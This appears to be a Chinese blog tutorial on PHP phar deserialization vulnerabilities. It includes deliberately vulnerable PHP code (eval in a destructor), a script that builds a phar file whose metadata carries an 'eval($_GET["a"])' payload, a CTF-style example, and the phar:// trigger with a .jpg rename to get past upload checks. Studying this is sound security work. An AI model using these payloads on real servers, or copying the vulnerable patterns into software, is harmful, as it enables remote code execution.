首页 > 其他分享 >phar反序列化漏洞简单介绍

phar反序列化漏洞简单介绍

时间:2023-06-23 21:46:53浏览次数:36  
标签:文件 写入 phar filename 漏洞 test 序列化

phar反序列化漏洞介绍

什么是phar:
phar类似于java中的jar打包

phar的结构:

stub phar文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>; (头部信息)

manifest压缩文件的属性等信息,以序列化存储;

contents压缩文件的内容;

signature签名,放在文件末尾;

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

漏洞原理:

manifest压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;

调用phar伪协议,可读取 .phar文件;

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

注意:phar需要php>=5.2在php.ini中将phar.readonly设为Off 注意去掉前面的分号

phar使用条件:
1.phar文件能上传到服务器端。

2.要有可用反序列化魔术方法作为跳板。

3.要有文件操作函数,如file_exists(),fopen(),file_get_contents()

4.文件操作函数参数可控,且: / phar等特殊字符没有被过滤

总结就是要有文件操作函数,然后可以去使用这个phar伪协议去读取一个.phar文件,并且在原本的代码中有魔术方法,在反序列化的过程中去执行相关的代码,进而执行我们想让它执行的。 这个phar后缀是可以修改的,没有影响

下面举一个例子:

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
if(isset($_GET['filename']))
{
    $filename=$_GET['filename'];
    var_dump(file_exists($filename));
}
?> 
<?php
highlight_file(__FILE__);
class Testobj
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

这个就是创建一个phar文件 ,将output的值写入到meta-data段中,通过filename利用phar伪协议 然后进行一个反序列化,触发了_destruct()魔术方法,执行了eval函数,也执行了我们想让它执行的。

下面来个简单例题实验一下:

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//upload.php
?>

这个满足phar漏洞的四个基本点 1.可以上传 2.有文件操作函数 3.有魔术方法作为跳板机 4.文件操作函数的参数名可控

这个要生成一个phar文件的话需要改一个东西,上面有介绍,需要注意的是前面的分号要删除。

这个代码算是简单的了,根据上面的代码生成一个phar文件

<?php
highlight_file(__FILE__);
class TestObject{
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

然后改一下new的类

这样就生成了,然后在upload.php界面下上传这个phar文件,但是phar上传后似乎失败了,我们可以把phar后缀修改成jpg的,这样不影响

然后得到路径 uplod/test.jpg

最后利用phar伪协议去读取一下即可

file=phar://upload/test.jpg

标签:文件,写入,phar,filename,漏洞,test,序列化
From: https://www.cnblogs.com/mrfs/p/17500231.html

相关文章

  • 序列化和反序列化以及创建对象的几种方式
    如何将对象中的信息永久保存1.将来将对象信息存入数据库2.java中提供的序列化方式来永久保存数据序列化流的概述所谓的序列化:就是把对象通过流的方式存储到文件中.注意:此对象要重写Serializable接口才能被序列化packageorg.westos.Demo;importjava.io.*;publiccl......
  • Nginx 解析漏洞复现、利用
    1、漏洞复现用vulhub复现该漏洞vubhub环境搭建:https://blog.csdn.net/weixin_59679023/article/details/123739030nginx解析漏洞:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/打开终端输入:cdvulhub/nginx/nginx_parsing_vulnerability/sudodocker-co......
  • SpringBoot - jackson 序列化配置,支持jdk8 时间类型和解决科学计数法
    jdk8时间序列化配置#Copy@ConfigurationpublicclassJacksonConfig{@BeanpublicObjectMapperserializingObjectMapper(){JavaTimeModulejavaTimeModule=newJavaTimeModule();/**序列化配置,针对java8时间**/javaTimeModule.add......
  • 基础的框架漏洞 6
    一、log4j远程代码执行漏洞原理:Log4j是Apache的一个开源项目,是一款基于Java的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到~$后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的iookup,通过对应的lookup实例调用lookup......
  • 漏洞扫描:Web安全漏洞扫描与审计
    1、首先进入w3af文件目录之下,如下图1所示。图1显示usr/local/src/w3af目录下的内容2、使用ls命令查看w3af文件目录下的内容,有w3af_console和w3af_gui,console是打开命令行,gui是打开图形界面,本次实验使用。/w3af_console命令,如上图1所示。图2plugins命令help截图3、输入“outp......
  • Python中的pickle模块:对象序列化与反序列化
    在Python中,对象的序列化和反序列化是一项常见的任务。pickle模块提供了一种简单且强大的方法来实现对象的序列化和反序列化,使得开发者能够方便地将复杂的Python对象转化为字节流并在需要时重新还原。本文将详细介绍pickle模块的使用方法和原理,并探讨其在数据持久化和跨进程通信中......
  • Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
    漏洞简介ApacheSuperset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Pythonweb框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY......
  • Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
    漏洞简介ApacheSuperset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Pythonweb框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默......
  • yaml.v3 - YAML 反序列化
    配置文件mysql:conn:1.1.1.1user:yangpassword:yangconsul:addr:2.2.2.2user:yangpassword:yang代码packagemainimport( "fmt" "gopkg.in/yaml.v3" "os")typeEnvSDstruct{ MysqlMysql`yaml:"mysql&q......
  • java反序列化(六)
    fastjson反序列化前置知识fastjson是阿里巴巴开发的一个处理json数据的开源库,简简单单解析一个json字符串是自然不会造成命令执行的,问题在于很多库为了实用性会额外实现一些功能,造成了攻击点fastjson简单使用引入依赖,先用古老版本<dependency><groupId>......